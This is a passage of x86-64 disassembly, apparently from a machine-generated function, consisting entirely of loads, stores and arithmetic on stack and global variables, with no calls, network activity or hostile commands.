mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xae30]
mov dword [rcx], eax
lea rax, [rsp + 0x12e]
mov qword [rsp + 0xb428], rax
movzx eax, word [rsp + 0xf34]
movzx ecx, word [rsp + 0xf04]
sub eax, ecx
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb230]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42f8]
mov dword [rsp + 0x44ec], eax
mov rax, qword [rsp + 0xac18]
mov rcx, qword [rsp + 0xa820]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4174], eax
lea rax, [rsp + 0x441c]
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0xb1b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xabb0]
mov byte [rcx], al
lea rax, [rsp + 0xf40]
mov qword [0x14019da30], rax
lea rax, [rsp + 0x4390]
mov qword [rsp + 0xb438], rax
mov rax, qword [rsp + 0xa8f0]
mov ecx, dword [rsp + 0x3908]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xa8d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42a8], eax
mov eax, dword [0x14019befc]
mov dword [rsp + 0x44f0], eax
mov rax, qword [rsp + 0xb2e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4264], eax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [str.Sb]
sar eax, cl
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
movzx ecx, word [0x14019bf0c]
shl eax, cl
mov word [0x14019bef0], ax
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x44f4], eax
mov rax, qword [rsp + 0xae40]
mov rcx, qword [rsp + 0xa4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
lea rax, [rsp + 0x18a]
mov qword [rsp + 0xb448], rax
mov rax, qword [0x14019d838]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf90], ax
mov rax, qword [rsp + 0xab48]
mov rcx, qword [rsp + 0xa650]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4408], eax
mov eax, dword [rsp + 0x41a4]
mov dword [rsp + 0x44f8], eax
mov rax, qword [0x14019d960]
mov rcx, qword [rsp + 0xb248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb318]
mov eax, dword [rax]
mov dword [rsp + 0x44fc], eax
movzx eax, word [rsp + 0xee8]
movzx ecx, word [rsp + 0x1064]
add eax, ecx
mov word [0x14019bf9c], ax
movzx eax, byte [0x14019bf06]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0xb190]
mov eax, dword [rax]
mov dword [rsp + 0x4500], eax
mov rax, qword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17e]
sub eax, ecx
mov byte [rsp + 0x14b], al
movzx eax, word [rsp + 0xf84]
mov word [rsp + 0x10ac], ax
mov rax, qword [rsp + 0xad50]
movzx eax, word [rax]
mov rcx, qword [0x14019d860]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1000], ax
lea rax, [rsp + 0x161]
mov qword [rsp + 0xb450], rax
mov rax, qword [rsp + 0xacb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4290], eax
mov rax, qword [rsp + 0xb140]
mov ecx, dword [0x14019d948]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d7e0], eax
mov eax, dword [rsp + 0x42a0]
movzx ecx, al
mov eax, dword [rsp + 0x4338]
shl eax, cl
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov dword [rsp + 0x4504], eax
mov rax, qword [rsp + 0xa700]
mov rcx, qword [0x14019d960]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0xa720]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x165]
or eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0xab88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4218], eax
lea rax, [rsp + 0x443c]
mov qword [rsp + 0xb458], rax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0xb3d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bf40], eax
lea rax, [rsp + 0x1030]
mov qword [rsp + 0xb460], rax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [0x14019d7f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa970]
mov byte [rcx], al
movsx eax, word [rsp + 0xfb4]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0xa9b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c4], al
mov eax, dword [0x14019bf48]
mov ecx, dword [rsp + 0x43c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf8]
mov eax, dword [rax]
mov dword [rsp + 0x4508], eax
movzx eax, byte [rsp + 0x19e]
mov rcx, qword [rsp + 0xa838]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb148]
mov byte [rcx], al
movzx eax, word [rsp + 0xf4c]
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x443c]
mov dword [0x14019da38], eax
mov rax, qword [rsp + 0xaa50]
mov ecx, dword [rsp + 0x42b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb220]
mov dword [rcx], eax
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0xb468], rax
mov rax, qword [rsp + 0xa8e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xadc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf10]
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0xaa80]
mov eax, dword [rax]
mov ecx, dword [0x14019bf2c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x42f4], eax
mov eax, dword [rsp + 0x44b4]
mov rcx, qword [rsp + 0xa7b8]
mov qword [rsp + 0xb470], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb470]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov dword [rsp + 0x450c], eax
lea rax, [rsp + 0x4328]
mov qword [0x14019da40], rax
mov eax, dword [rsp + 0x4368]
mov ecx, dword [rsp + 0x44f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4508], eax
mov rax, qword [rsp + 0xa9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c5], al
mov rax, qword [0x14019d898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xadd0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa8e0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb130]
mov byte [rcx], al
lea rax, [rsp + 0xfe0]
mov qword [rsp + 0xb478], rax
mov rax, qword [0x14019d820]
mov ecx, dword [rsp + 0x420c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42a4], eax
mov rax, qword [rsp + 0xab80]
mov eax, dword [rax]
mov dword [rsp + 0x4510], eax
movzx eax, word [rsp + 0xd68]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov rcx, qword [rsp + 0xae68]
mov word [rcx], ax
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x1f8e0]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0xeec89571
mov rax, qword [0x14019d918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf03], al
mov rax, qword [rsp + 0xa4c8]
mov eax, dword [rax]
mov dword [rsp + 0x4514], eax
mov eax, dword [rsp + 0x4310]
mov ecx, dword [rsp + 0x437c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4510], eax
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
mov ecx, dword [0x14019bf2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x35fc], eax
mov rax, qword [rsp + 0xaf28]
mov ecx, dword [rsp + 0x4230]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x35ac], eax
movzx eax, byte [rsp + 0x187]
movzx ecx, byte [rsp + 0x19f]
and eax, ecx
mov byte [rsp + 0x1be], al
lea rax, [rsp + 0xef0]
mov qword [rsp + 0xb480], rax
mov rax, qword [rsp + 0xb198]
mov ecx, dword [rsp + 0x4278]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0xaa50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x42a0], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x169]
shl eax, cl
mov byte [0x14019900b], al
lea rax, [rsp + 0x10ac]
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xb0c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb148]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb448]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
mov word [rsp + 0x10b8], ax
mov rax, qword [rsp + 0xaf88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4504]
shr eax, cl
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [0x14019d820]
mov rcx, qword [rsp + 0xacc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4474], eax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov dword [rsp + 0x4518], eax
mov rax, qword [rsp + 0xaa08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x436c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42a0], eax
lea rax, [0x14019d948]
mov qword [rsp + 0xb490], rax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0x190]
sub eax, ecx
mov byte [rsp + 0x168], al
lea rax, [rsp + 0xf1c]
mov qword [0x14019da48], rax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x439c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov dword [rsp + 0x451c], eax
mov rax, qword [rsp + 0xac30]
mov ecx, dword [rsp + 0x42d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab48]
mov dword [rcx], eax
lea rax, [0x14019bf48]
mov qword [rsp + 0xb498], rax
movzx eax, word [rsp + 0xf98]
mov rcx, qword [rsp + 0xaae8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov byte [rsp + 0x1c6], al
movsx eax, byte [rsp + 0x19a]
movsx ecx, byte [0x14019900d]
add eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
movsx eax, word [rsp + 0x1054]
movsx ecx, word [rsp + 0x1038]
add eax, ecx
mov word [rsp + 0x106c], ax
mov eax, dword [rsp + 0x4320]
mov ecx, dword [rsp + 0x423c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d820]
mov dword [rcx], eax
lea rax, [0x14019bef8]
mov qword [rsp + 0xb4a0], rax
movzx eax, word [rsp + 0xf18]
movzx ecx, word [rsp + 0xf70]
and eax, ecx
mov rcx, qword [rsp + 0xb210]
mov word [rcx], ax
lea rax, [rsp + 0x16a]
mov qword [rsp + 0xb4a8], rax
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
mov rcx, qword [0x14019d960]
mov qword [rsp + 0xb4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0xa840]
mov ecx, dword [rsp + 0x4320]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x420c], eax
lea rax, [rsp + 0x4310]
mov qword [rsp + 0xb4b8], rax
mov rax, qword [0x14019d828]
mov ecx, dword [rsp + 0x4188]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4208], eax
movzx eax, word [rsp + 0xfc4]
mov word [rsp + 0x10bc], ax
movzx eax, byte [rsp + 0x164]
mov rcx, qword [rsp + 0xae18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14019bf0f], al
mov eax, dword [rsp + 0x4504]
mov ecx, dword [0x14019d938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3acc], eax
mov rax, qword [rsp + 0xb068]
mov ecx, dword [rsp + 0x4410]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb3e0]
mov dword [rcx], eax
lea rax, [rsp + 0x445c]
mov qword [rsp + 0xb4c0], rax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x438c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf0], eax
mov eax, dword [rsp + 0x43c4]
mov dword [rsp + 0x4520], eax
mov rax, qword [rsp + 0xb308]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf74]
add eax, ecx
mov word [rsp + 0x1058], ax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x67]
sub eax, ecx
mov rcx, qword [rsp + 0xb018]
mov byte [rcx], al
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xb4c8], rax
lea rax, [rsp + 0x12e]
mov qword [0x14019da50], rax
mov rax, qword [0x14019d7b8]
mov ecx, dword [rsp + 0x43e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xac98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3348]
mov dword [rsp + 0x4524], eax
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x119]
sub eax, ecx
mov rcx, qword [rsp + 0xac60]
mov byte [rcx], al
lea rax, [0x14019bf0c]
mov qword [rsp + 0xb4d0], rax
mov eax, dword [rsp + 0x4180]
mov ecx, dword [rsp + 0x4268]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb068]
mov dword [rcx], eax
mov eax, dword [rsp + 0x35ac]
mov ecx, dword [rsp + 0x41c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov dword [rsp + 0x4528], eax
mov rax, qword [rsp + 0xb268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb110]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab40]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d9d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xac60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0xb250]
mov ecx, dword [rsp + 0x4130]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bf20]
sar eax, cl
mov dword [rsp + 0x42b8], eax
movzx eax, word [rsp + 0xf9c]
mov word [rsp + 0x10c0], ax
movsx eax, byte [rsp + 0x18c]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x18f], al
lea rax, [rsp + 0xec8]
mov qword [rsp + 0xb4d8], rax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa7f0]
mov rcx, qword [rsp + 0xad40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4504], eax
mov rax, qword [rsp + 0xade8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf18]
add ecx, eax
mov eax, ecx
mov dword [0x14019bfa0], eax
lea rax, [rsp + 0x446c]
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0xa758]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xacf8]
mov dword [rcx], eax
lea rax, str.so_g_
mov qword [rsp + 0xb4e8], rax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x19b]
sub eax, ecx
mov rcx, qword [rsp + 0xa968]
mov byte [rcx], al
mov rax, qword [rsp + 0xad88]
movzx eax, word [rax]
mov word [rsp + 0x10c4], ax
mov rax, qword [0x14019da40]
mov ecx, dword [rsp + 0x41f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb318]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x425c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov dword [rsp + 0x452c], eax
mov rax, qword [rsp + 0xa830]
mov ecx, dword [rsp + 0x42a8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bef8], eax
movzx eax, word [rsp + 0xf18]
mov rcx, qword [rsp + 0xa8c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb4d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x147]
mov byte [rsp + 0x1c7], al
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf9c], ax
movsx eax, byte [rsp + 0x17e]
movsx ecx, byte [rsp + 0x5c]
sar eax, cl
mov rcx, qword [rsp + 0xb018]
mov byte [rcx], al
lea rax, [rsp + 0x42bc]
mov qword [rsp + 0xb4f0], rax
mov eax, dword [rsp + 0x4398]
movzx ecx, al
mov eax, dword [0x14019bf58]
shl eax, cl
mov rcx, qword [rsp + 0xa960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad18]
movzx eax, byte [rax]
mov byte [rsp + 0x1c8], al
movzx eax, word [rsp + 0x1060]
movzx ecx, word [0x14019bf0c]
or eax, ecx
mov rcx, qword [rsp + 0xb178]
mov word [rcx], ax
lea rax, [rsp + 0x4274]
mov qword [0x14019da58], rax
mov eax, dword [rsp + 0x4498]
mov ecx, dword [rsp + 0x43b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3aa4]
mov dword [rsp + 0x4530], eax
mov eax, dword [rsp + 0x4464]
mov ecx, dword [rsp + 0x444c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov word [rsp + 0x10c8], ax
movzx eax, byte [rsp + 0x1bd]
mov rcx, qword [rsp + 0xb3a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov ecx, dword [0x14019bf60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4498], eax
mov eax, dword [rsp + 0x4414]
mov dword [rsp + 0x4534], eax
mov rax, qword [rsp + 0xb170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x449c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4214], eax
mov rax, qword [0x14019d978]
mov rcx, qword [rsp + 0xb400]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bfa0], eax
lea rax, [rsp + 0x41d4]
mov qword [rsp + 0xb4f8], rax
mov rax, qword [rsp + 0xb488]
movsx eax, word [rax]
movsx ecx, word [0x14019bf64]
add eax, ecx
mov word [rsp + 0xfec], ax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0xac08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb8]
sub eax, ecx
mov word [rsp + 0xf00], ax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [0x14019bf0b]
sub eax, ecx
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0xaca8]
mov ecx, dword [rsp + 0x4494]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f28], eax
mov rax, qword [rsp + 0xb328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
lea rax, [0x14019da28]
mov qword [rsp + 0xb508], rax
lea rax, [rsp + 0x1b1]
mov qword [0x14019da60], rax
mov rax, qword [rsp + 0xb2f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb030]
mov qword [rsp + 0xb510], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb510]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaa60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae78]
mov rcx, qword [0x14019d960]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xad48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4410]
mov dword [rsp + 0x4538], eax
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa748]
mov qword [rsp + 0xb518], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb518]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44e4], eax
lea rax, [rsp + 0xde4]
mov qword [rsp + 0xb520], rax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa968]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1a0]
mov rcx, qword [rsp + 0xa810]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4484], eax
mov rax, qword [0x14019da40]
mov eax, dword [rax]
mov dword [rsp + 0x453c], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb180]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d950]
mov byte [rcx], al
movsx eax, word [rsp + 0xf7c]
movsx ecx, word [rsp + 0xfec]
add eax, ecx
mov rcx, qword [rsp + 0xaae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
mov word [rsp + 0x10cc], ax
movzx eax, byte [rsp + 0x1c0]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x171], al
lea rax, [rsp + 0x4194]
mov qword [rsp + 0xb528], rax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0xae40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x422c], eax
mov eax, dword [rsp + 0x4168]
mov ecx, dword [rsp + 0x44c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c0], eax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xb530], rax
mov rax, qword [rsp + 0xa740]
mov rcx, qword [rsp + 0xa8f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa7d8]
mov dword [rcx], eax
lea rax, [rsp + 0x1048]
mov qword [rsp + 0xb538], rax
movzx eax, byte [rsp + 0x1a3]
mov byte [0x14019d7b6], al
mov eax, dword [rsp + 0x4220]
mov ecx, dword [rsp + 0x35ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42e8]
mov dword [rsp + 0x4540], eax
mov rax, qword [rsp + 0xb3a0]
mov ecx, dword [rsp + 0x4220]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x44d0], eax
mov rax, qword [rsp + 0xb448]
movzx eax, byte [rax]
mov byte [rsp + 0x1c9], al
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe6c], ax
mov rax, qword [rsp + 0xab20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0xa7f8]
movzx eax, word [rax]
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb118]
mov qword [rsp + 0xb540], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb540]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14019d9b0]
mov dword [rcx], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4520]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0xaf20]
movzx eax, word [rax]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0xb2d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0xb2d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb4c0]
mov eax, dword [rax]
mov ecx, dword [0x14019bf58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb250]
mov eax, dword [rax]
mov dword [rsp + 0x4544], eax
mov rax, qword [rsp + 0xb188]
mov ecx, dword [rsp + 0x4178]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b8c], eax
lea rax, [rsp + 0x3aa4]
mov qword [rsp + 0xb548], rax
movzx eax, byte [rsp + 0x19d]
movzx ecx, byte [rsp + 0x1c6]
sub eax, ecx
mov byte [rsp + 0x119], al
movzx eax, word [rsp + 0xfb0]
movzx ecx, word [rsp + 0xf00]
sub eax, ecx
mov word [0x14019bf54], ax
lea rax, [0x14019bf44]
mov qword [rsp + 0xb550], rax
mov rax, qword [rsp + 0xb360]
mov rcx, qword [rsp + 0xaa10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaff0]
mov ecx, dword [rsp + 0x42cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44e8], eax
mov eax, dword [0x14019bf40]
mov dword [rsp + 0x4548], eax
